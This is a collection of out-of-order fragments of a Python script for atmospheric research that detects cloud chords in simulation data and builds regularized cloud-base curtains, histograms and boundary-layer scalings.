"= 12 n_curtain_bin = np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw =",
"If data_dim_flag=3 it will jump to the y direction when",
"#if the difference is larger than 20s the cloud is",
"n_curtain_dw += 1 var_curtain_dw_sum += var_curtain_tmp else: print('wtf how is",
"while t_cloudy_idx < len(cbl_cl_idx)-1 and n_chords<chord_max: #print('t_chord_begin',t_chord_begin) t_chord_begin = t_cloudy_idx",
"chord_qt_star = [] chord_thl = [] chord_thl_25 = [] chord_thl_75",
"+ total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting lowest",
"scaling_factor_y_prof[int(ref_idx)] print('Scaling flag 1: scaling factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y,",
"qt_pressure/sat_qv #Dewpoint A = 17.27 B = 237.7 alpha =",
"cloud criteria, but now I also hard coded that neighboring",
"0 #for col in filename_column: n_iter = min(n_iter,N_it_max) for it",
"analyze is unclear, I will try to include everything available,",
"print('Scaling flag 1: scaling factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, '",
"on for a loooong time as well if chord_times ==",
"level LCL qt_pressure = p*qt sat_qv = 6.112*100 * np.exp(17.67",
"#from scipy.interpolate import griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable import pickle",
"needs to use the closet mean profile # directory_input =",
"run time of proc_chords in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength",
"is possible to get #Small chord lengths with more than",
"percentile defined by base_percentile # base_percentile: percentile used to find",
"# scale_flag: If 0, nothing, if 1, it scales the",
"allowed! t_min = 0 t_max = 1e9 cell_min = 10",
"print('dz: ',dz) #for boundary scaling total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux =",
"= (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2 idx_end_curtain",
"if size_bin_flag==1: xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height',",
"ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting lowest cloud cell is within",
"#Made a 100 times longer cell_min = 3 #Minimal number",
"= np.array(var_3d.reshape((nz,nx*ny))) #Now we do the same thing with the",
"save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ', sum(var_pdf), 'points",
"base using the 25 percentile in agreement with Neil if",
"n_curtain_up = 0 n_curtain_dw = 0 #for col in filename_column:",
"surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux =",
"which I will then convert to arrays in the end",
"or negative w, then adds to the sum of up",
"both chords and regularized beards # proc_chords is used for",
"100 times longer cell_min = 3 #Minimal number of cells",
"= np.zeros((nz,1)) t_1d = np.zeros(1) #The needed cbl height, which",
"closest full time values to the profile values dt_2 =",
"needed surface buoyancy flux, which is constant everywhere bflux_s_1d =",
"= file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof = w2.shape[1] z_prof =",
"np.percentile(cl_base[ch_idx_l],base_percentile)*dz chord_height.append(tmp_base_height) #25th percentile of cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord])",
"10 #Minimal number of cells needed per chord curtain_min =",
"cbl height heigher than 0.6 domain height, could crash regularization",
"t_1d*0 thlflux_s_1d= t_1d*0 #Now we go through profile time snapshots",
"enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_col = np.hstack([var_orig_col[0],var_orig_col]) #1D vertical",
"ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') var_3d =",
"file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose()",
"qt we subtract the closet mean profile for tt in",
"file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load the",
"= np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d",
"= file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof =",
"simply go through all cloudy timesteps and detect chords #If",
"and y is calculated here if required. Is skipped if",
"curtain_extra: Regularized chord length before and after in the curtain,",
"n_iter =len(time_prof) #Setting curtains for var var_curtain_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum",
"= np.zeros([n_t_reg,n_z_reg]) var_curtain_up_sum = np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain =",
"2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter)) ### Clustering",
"processing:',(time3-time2)/60.0,'minutes') print(':') print(':') print(':') time_end = ttiimmee.time() print('total run time",
"#To avoid issues later on I set the maximum cbl",
"interp2d #from scipy.interpolate import griddata #from mpl_toolkits.axes_grid1 import make_axes_locatable import",
"beard data to '+save_string) if size_bin_flag==1: xr_dataset = xr.Dataset( data_vars",
"if data_dim_flag==3: z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of a",
"import pandas as pd import gc import glob import xarray",
"= file_col.variables['w'][:] w_2d = w_2d.transpose() ql_2d = file_col.variables['ql'][:] ql_2d =",
"vector, t_1d = np.linspace(0,2*nx*ny*time_resolution,2*nx*ny)#+nx*ny*time_resolution*it #dt_1d = t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1]",
"Regularized chord length before and after in the curtain, default",
"will try to keep it at least somewhat general with",
"used to determine existence of cloud ql_min = 1e-5 z_min",
"if I turn these from lists to arrays? Fuck it,",
"0 if ch_duration>t_min and ch_duration<t_max and chord_z_min > 4: if",
"chord_duration =np.asarray(chord_duration) chord_length =np.asarray(chord_length) chord_height =np.asarray(chord_height) chord_w_base =np.asarray(chord_w_base) chord_w_star =np.asarray(chord_w_star)",
"= math.floor(np.percentile(cl_base[cbl_cl_idx],base_percentile)) # Can't think of a good way to",
"#find out if we need scaling_factor_x or y by seeing",
"an either or, now just add it on w_3d =",
"#plot_flag disabled for the mean time def proc_beard_regularize(reg_var = 'w',",
"iterative, V_ref, time_resolution',it, V_ref, time_resolution ) print('ref_lvl used to determine",
"n_prof in range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]=",
"base_smoothing_flag<2: #Now for each of the columns of the original",
"else: print('wtf how is this zero: ',np.mean(w_tmp),w_tmp) #globals().update(locals()) ############################################################################################################################################### ##################",
"= [-10,10] ): #We are starting out with histograms of",
"buoyancy flux, which is constant everywhere bflux_s_1d = t_1d*0 +",
"thing to do is calculate the chord base using the",
"var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able to delete",
"from the cloud base speeds if data_dim_flag==1: ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end])",
"3D version. Will have to calculate a vector for the",
"= np.array(qt_3d.reshape((nz,nx*ny))) thl_2d = np.array(thl_3d.reshape((nz,nx*ny))) #Now we do the same",
"f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter =",
"chord_length = [] chord_duration = [] chord_time = [] chord_height",
"the automatic x and y calculation #Scaling shouldn't be needed,",
"larger than 20s the cloud is over, and a chordlength",
"over x and y directions #TODO #plot_flag disabled for the",
"2: #Regularizing the scaling profiles and interpolation them onto the",
"fields as they aren't needed anymore, not sure if that",
"running mean, #But now we are making it a function",
"= np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d",
"sure if that helps save any memory though del w_3d",
"side to make interpolation easy idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1",
"interpolation easy idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d",
"print('total run time of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':') print(':')",
"#Minimal number of cells needed per chord # #1D clustering",
"thl_2d = thl_2d.transpose() qt_2d = file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d",
"long as it is named the same as the file.",
"('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec",
",np.array(qt_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d fields as",
"them. #if the difference is larger than 20s the cloud",
"slices with an imaginary time vector w_2d = np.array(w_3d.reshape((nz,nx*ny))) ql_2d",
"interp2d(t_reg_orig, z_reg_mid, var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant base height",
"chord_thl = [] chord_thl_25 = [] chord_thl_75 = [] chord_qt",
"= np.zeros([n_t_reg,n_z_reg]) var_curtain_dw_sum = np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up =",
"z_idx_base_smooth = z_idx_base*1.0 N = int(np.floor(idx_end_chord-idx_beg_chord)*0.1) for i in range(idx_beg_chord-N,idx_end_chord+N):",
"to func_curtain_reg so I instead made it a nested function",
"it to the total histogram var_hist,bin_edges = np.histogram(var_cl_base,range=range_var,bins=N_bins) var_hist_sum =",
"w2 = file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof",
"3D field it will always go over x and y",
"0 use mix of percentile and cloud base as done",
"#plot_flag disabled for the mean time def proc_chords( date_str='20160611', directory_input='/data/testbed/lasso/sims/',",
"always count ##Check if the index of the next cloudy",
"input_2d_field[:,i] #Regularizing the z axes so that cloud base is",
"below cloud base #Both have a large overlap, but I",
"because it is possible to get #Small chord lengths with",
"so I instead made it a nested function var_curtain_tmp =",
"cared if they fulfilled cloud criteria, but now I also",
"= ttiimmee.time() if data_dim_flag ==1: print('loading column: ',filename_column[it]) file_col =",
"#to get anomalies we subtract the closet mean profile if",
"dictionary to save all properties settings_dict = { 'reg_var': reg_var,",
"cells #Use to have a different method using nans that",
"time vector, subtracts it by mean time, then scales it",
"base_smoothing_flag==2: #just put the percentile back z_idx_base[:] = z_idx_base_default #default",
"think of a good way to do this, will throw",
"which fulfills cell_min they are counted as a chord #and",
"want to do that call the function repeatedly #Full list",
"get the right columns and asign them one by one",
"version for variable base height if base_smoothing_flag<2: #Now for each",
"qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof",
"vector we load the wind from the profile data, which",
"for tt in range(len(time_prof)): tmp_matrix = var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:]",
"a 100 times longer cell_min = 3 #Minimal number of",
"goes on for a loooong time as well if chord_times",
"2, 1)) #globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d",
"np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #Should now be able to delete 3d fields",
"nx, ny] = get_zxy_dimension(filename_l,'ql') #getting variable to be regularized filename_var",
"anomaly flag is used if anomaly_flag==1: #because the vectors don't",
"== 1: #a new reference level is com scaling_factor_x =",
"range(scaling_factor_prof.shape[0]): if scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now",
"print('resulting indexes of cbl over time: ',cbl_1d_prof) print('calculated LCL: ',LCL_index)",
"file. #If the input data is a 3D field it",
"means that we doable load w_2d or ql_2d var_2d =",
"y directions #TODO #plot_flag disabled for the mean time def",
"if u>0. Is set to 0 if data_dim_flag==1 # 1",
"parameters, #set super strict, but goes on for a loooong",
"reg_var+save_string_base save_string = save_string+'.npz' np.savez(save_string,var_pdf=var_pdf,range_var=range_var) print('saved pdf with ', sum(var_pdf),",
"#constant base height version if base_smoothing_flag==2: #Regularizing the z axes",
"if data_dim_flag==3: n_iter =len(time_prof) #Setting curtains for var var_curtain_sum =",
"lower time resolution of the profile, #Then latter apply the",
"values which fulfills cell_min they are counted as a chord",
"= 0 ch_duration = 0 if ch_duration>t_min and ch_duration<t_max and",
"the 25 percentile in agreement with Neil if data_dim_flag==3: z_idx_base_default",
"thl and qt qt_2d[:,:] = (qt_2d.transpose() - qt_prof[it,:]).transpose() thl_2d[:,:] =",
"repeatedly #Full list of variables to analyze is unclear, I",
"needed per chord # #1D clustering parameters, #set super strict,",
"var_t_low_z_high.transpose(), kind='linear') var_curtain = f(t_reg_mid,z_reg_mid) #constant base height version if",
"w_3d = grab_3d_field(file_w ,it,'w') var_3d = grab_3d_field(file_var ,it,reg_var) #Here we",
"minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties saved as panda in",
"# size_bin_flag bins the beards by their chord_lenth. Currently using",
"of cloud ql_min = 1e-5 z_min = 10 #Index of",
"the cbl #Flag clean up if data_dim_flag==1: scale_flag=0 #Creating dictionary",
"= np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up = 0 n_curtain_dw =",
"0: t_gap = 20 t_min = 30 t_max = 1200*100",
"not implemented yet') ############################################################################################################################## #switching to y direction if half",
"if there are less than 2 timesteps, which is what",
"= alpha + np.log(rel_hum) dewpoint = (B * alpha) /",
"are in the first or second half if idx_end_curtain<nt/2: scaling_factor",
"the domain height, but spit out a warning if it",
"method using nans that doesn:t work anymore somehow. Now I",
",np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This",
"bins of 250 meters length to get started. The lowest",
"10 and a 0.1 spacing var_hist_sum=np.zeros(N_bins) date = date_str #value",
"though del w_3d del ql_3d del var_3d gc.collect() #fake t",
"accordingly #Only called if there are any clouds if boundary_scaling_flag",
"var_curtain_bin_up_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) var_curtain_bin_dw_sum = np.zeros([N_bins,n_t_reg,n_z_reg]) mid_bin_size = np.linspace(125,-125+N_bins*250,N_bins) print('mid_bin_size',mid_bin_size)",
"a 0.1 running mean if base_smoothing_flag ==1: z_idx_base_smooth = z_idx_base*1.0",
"and detect chords #If they fulful chord time requirements and",
"= np.array([5,10,35,50,65,90,95]) #1D clustering parameters in seconds, taken to agree",
"t_1d[1:]-t_1d[:-1] else: #If no clouds are present we pass a",
"into 2d slices with an imaginary time vector w_2d =",
"= [] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list",
"0 #This now a bit trickier then for the 3D",
"data_dim_flag=3 it will jump to the y direction when chord_max/2",
"will always go over x and y directions #Two different",
"range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = thl_prof[tt,:] #because the",
"directory_output ='data_pdfs/', data_dim_flag=3, special_name='', N_it_max=1e9, N_it_min=0, anomaly_flag =0, N_bins=400, base_percentile",
"direction (right?) #Similarly, no basedefinition is needed, all values are",
"save_string_base+'_Nmax'+str(n_iter) save_string_base = save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up,",
"was a lot slower #Calculating the regularized t axis but",
"scaling_factor_prof[n_prof]>0: var_curtain_tmp[:,n_prof] = var_curtain_tmp[::-1,n_prof] var_curtain_tmp [:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the",
"base height to calculate either w/w*, thl'/thl*, or qt'/qt* time_begin",
"= f_y(z_reg_mid) print('Scaling flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean",
"over updrafts chord_w_base = [] chord_w_star = [] chord_thl_star =",
"sense for 3D to avoid some weird initial fields. time_begin",
"together the Lifting condensation level LCL qt_pressure = p*qt sat_qv",
"but goes on for a loooong time as well if",
"input data is a 3D field it will always go",
"z_vlvl of the cbl print('looking into date: ',date) if data_dim_flag==1:",
"'star'+save_string_base save_string_base = save_string_base+'_'+special_name+'_N'+str(n_curtain) save_string = directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string)",
"[] print('iterating through step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') chord_idx_list =",
"1 plots pre and post regularization plots of reg_var #",
"n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords: ',n_chords) print('n_curtain:",
"= f(t_reg_mid,z_reg_mid) #constant base height version if base_smoothing_flag==2: #Regularizing the",
"qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if data_dim_flag",
"var_curtain_dw_sum.transpose()/n_curtain_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid}) xr_dataset[reg_var].attrs['n']=n_curtain xr_dataset[reg_var+'_up'].attrs['n']=n_curtain_up xr_dataset[reg_var+'_dw'].attrs['n']=n_curtain_dw xr_dataset.attrs =",
"v_2d = file_col.variables['v'][:] v_2d = v_2d.transpose() print('t_1d',t_1d) #Load the var",
"or lcl as reference height ref_lvl = cbl_1d_prof[it] u_ref =",
"the maximum cbl height to 60 % of the domain",
"v_2d.transpose() #lets try saving memory by closing files #file_col.close() #The",
"=np.asarray(chord_thl_star) chord_qt_star =np.asarray(chord_qt_star) chord_w =np.asarray(chord_w) chord_w_up =np.asarray(chord_w_up) chord_w_flux =np.asarray(chord_w_flux) chord_thl",
"if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>ql_min) else: cl_base[t]=10000000 cl_base=cl_base.astype(int) #Now find c",
"1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else: print('wtf how is this zero:",
"there is no cloud. for t in range(nt): if np.max(ql_2d[:,t])>ql_min",
"of the cloud base cl_base_25_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx",
"it is named the same as the file. #If the",
"present we pass a very short empty fields over to",
"np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles) else: tmp_w_per_up = np.zeros(n_percentiles)",
"agreement with Neil z_idx_base_default = math.floor(np.percentile(cl_base[cbl_cl_idx[t_chord_begin:t_cloudy_idx]],base_percentile)) #Regularized curtains, I am",
"qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt] thlflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_thl_flux[tt] #to get anomalies of",
"at least somewhat general with a flexible variable def proc_pdf(reg_var",
"np.array(ql_3d.reshape((nz,nx*ny))) var_2d = np.array(var_3d.reshape((nz,nx*ny))) #Now we do the same thing",
"that doesn:t work anymore somehow. Now I just set it",
"might break the memory bank #want to keep the automatic",
"#w_var = np.var(w_1d[z,:]) #Mimimum of LCL +100 or variance plus",
"chord properties should be indepenent of wind direction (right?) #Similarly,",
"of the domain height, but spit out a warning if",
"resolution #we use the calculated cbl+300 meter or lcl as",
"if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #Getting the chord beginning and",
"= 0 n_curtain_dw = 0 if size_bin_flag==1: N_bins = 12",
"np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) qt_star = surf_qt_flux/w_star surf_thl_flux = np.mean(thlflux_s_1d[idx_beg_chord:idx_end_chord]) thl_star = surf_thl_flux/w_star",
"= var_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector = var_prof[tt,:] #because the vectors don't perfectly",
"1e-5 #value used to determine existence of cloud z_min =",
"be pretty strict, no gaps allowed! t_min = 0.0 t_max",
"t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0 #Now",
"#I added 2 cells buffer at the beginning and end,",
"time values to the profile values dt_2 = (time_prof[1]-time_prof[0])/2 for",
"need scaling_factor_x or y by seeing if we are in",
"n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] +=",
"align var_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() # = var_2d[:,abs(t_1d-time_prof[tt])<dt_2]-var_prof[tt,:] if",
"print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') return #turned",
"int(np.percentile(cl_base[ch_idx_l],base_percentile)/4.) cl_base_75_idx = cl_base[ch_idx_l]*0 + int(np.percentile(cl_base[ch_idx_l],base_percentile)*3./4.) #print ('cl base idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0])",
"= save_string_base+'_'+special_name+'_N'+str(n_chords) filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75))",
"os import time as ttiimmee from scipy.interpolate import interp1d from",
"in filename_column: n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter): print('n_chords:",
"#find index of bin close to mid size bin bin_idx",
"ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load the var",
"t_1d[idx_beg_chord] time_end_chord = t_1d[idx_end_chord] #Calculate the beginning and end of",
"Lareau if chord_times == 0: t_gap = 20 t_min =",
"if the duration of the chordlength is lower than t_min",
"chord_max = 1e9, boundary_scaling_flag = 0 ): # reg_var =",
"the sums var_curtain_sum = var_curtain_sum+var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_up += 1",
"= min(n_iter,N_it_max) for it in range(N_it_min,n_iter): time1 = ttiimmee.time() if",
"if boundary_scaling_flag == 1 and len(cbl_cl_idx)>1: #First thing to do",
"= np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save a bit of memory",
"reg_var # data_dim_flag: 1 = column, 3 = 3D snapshot",
"with Lareau if chord_times == 0: t_gap = 20 t_min",
"filename_thl = directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r') file_thl",
"using a 0.1 running mean if base_smoothing_flag ==1: z_idx_base_smooth =",
"xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time','length'), var_curtain_bin_sum.transpose()/n_curtain_bin), reg_var+'_up':(('regularized",
"by base_percentile # base_percentile: percentile used to find chordlength bottom",
"existence of cloud ql_min = 1e-5 z_min = 10 #Index",
"else: tmp_w_per_up = np.zeros(n_percentiles) tmp_w_per_up[:] = 'nan' chord_w_per = np.vstack([chord_w_per,tmp_w_per])",
"height ref_lvl = cbl_1d_prof[it] u_ref = file_prof['u'][it,ref_lvl] v_ref = file_prof['v'][it,ref_lvl]",
"= np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum =",
"the transposed field, use to be an either or, now",
"while t_cloudy_idx < len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx +=",
"1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:]",
"present z_idx_base=cl_base*1.0+0.0 z_idx_base[:] = z_idx_base_default for i in range(idx_beg_chord,idx_end_chord): if",
"print('Scaling flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter), ' mean scaling_factor_y_inter: ',np.mean(scaling_factor_y_inter))",
"= d_z_tmp*nz- d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #Have to add 0",
"data to '+save_string) if size_bin_flag==1: xr_dataset = xr.Dataset( data_vars =",
"all chord properties should be indepenent of wind direction (right?)",
"z_prof = file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux",
"= (B * alpha) / (A - alpha) dewpoint =",
"idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else: scaling_factor = 2*scaling_factor_y if scaling_factor>0:",
"df = pd.DataFrame(data = data_for_panda, columns=['timesteps','duration','length','height','w_base','w','w_flux','time','w up','w per','w per up',",
"# chord_times: 0 use Neils values, use values that fit",
"directory_input+date+'/'+reg_var+'.nc' file_var = Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof",
"try saving memory by closing files #file_col.close() #The needed cbl",
"'ql': var_2d = ql_2d #Should now be able to delete",
"ny] = get_zxy_dimension(filename_l,'ql') #getting variable to be regularized filename_var =",
"included:',c_file) if data_dim_flag==3: filename_w = directory_input+date+'/w.nc' filename_l = directory_input+date+'/ql.nc' file_w",
"Dataset(filename_var,read='r') filename_prof=glob.glob(directory_input+date+'/testbed?default?0*.nc')[0] #filename_prof=directory_input+date+'/testbed.default.0000000.nc' if date=='bomex': filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') extra_string",
"range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]: z_idx_base[i] = cl_base[i]",
"maximum cbl height to 60 % of the domain height,",
") chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l])) #get a fourth and",
"and ch_duration<t_max and chord_z_min > 4: if t_chord_end-t_chord_begin>cell_min-1: n_chords +=",
"post regularization plots of reg_var # data_dim_flag: 1 = column,",
"== 1: t_gap = 0.#No gaps allowed! t_min = 0",
"f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag 2:, mean scaling_factor_x_inter: ',np.mean(scaling_factor_x_inter),",
"here, #Things are applied twice so that deviding by n",
"same as the file. #If the input data is a",
"to each other they are always counted as consecutive, not",
"data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data = data_for_panda,",
"t_1d[idx_beg_curtain] time_end_curtain = t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain",
"np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) base_height = z_idx_base_default*dz w_star=(base_height*surf_flux)**(1/3) if reg_var=='w': boundary_scaling = w_star",
"scale_flag>0 and data_dim_flag==3: if scale_flag==1: #find out if we need",
"do this, will throw up an error for the mean",
"subtract the closet mean profile for tt in range(len(time_prof)): #globals().update(locals())",
"thl_3d = grab_3d_field(file_thl ,it,'thl') #Here we have to do all",
"next cloudy cell is the same as the next index",
"#This now a bit trickier then for the 3D version.",
"time_resolution ) print('ref_lvl used to determine reference winds',ref_lvl ) #fake",
"empty, because we only calculate curtains when at least curtain_min",
"their scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof = file_prof['v'][it,:] V_ref_prof =",
"memory by closing files #file_col.close() #The needed cbl height cbl_1d",
"included: ',len(cbl_cl_idx)) #Does it matter if I turn these from",
"spacing gives us a fake time resolution #we use the",
"from the profile data, which devided by the grid spacing",
"chord_times == 1: t_gap = 0.#No gaps allowed! t_min =",
